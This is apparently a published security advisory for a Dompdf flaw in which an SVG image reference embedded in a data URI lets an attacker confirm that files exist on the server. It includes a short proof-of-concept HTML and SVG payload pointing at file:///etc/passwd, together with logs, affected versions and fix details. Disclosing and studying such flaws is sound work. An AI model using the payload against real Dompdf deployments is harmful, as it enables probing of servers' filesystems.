CVE-2026-59943
Published:July 23, 2026
Updated:August 04, 2026
Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Details Using an "<image>" element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the "href" or "xlink:href" attributes. When processing a file that does not exist (e.g. "file:///DOESNOTEXIST"), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. [Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173 [Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196 PoC First, the attacker renders this HTML document: <html> <head> </head> <body> <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo="> Hello World! </body> </html> The "<img>" tag contains the following SVG content: <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100"> </svg> As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" /> However, when supplying a path to a file or directory that does not exist, for example: <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100"> </svg> The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position: <img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" />Impact By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
Affected Packages
https://github.com/dompdf/dompdf.git (GITHUB):
Affected version(s) >=v0.5.2 <v3.1.6Fix Suggestion:
Update to version v3.1.6dompdf/dompdf (PHP):
Affected version(s) >=dev-adapter-factory <v3.1.6Fix Suggestion:
Update to version v3.1.6Related Resources (4)
Do you need more information?
Contact UsCVSS v4
Base Score:
6.3
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
PRESENT
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
LOW
Vulnerable System Integrity
NONE
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
5.3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
LOW
Integrity
NONE
Availability
NONE
Weakness Type (CWE)
Generation of Error Message Containing Sensitive Information
EPSS
Base Score:
0.31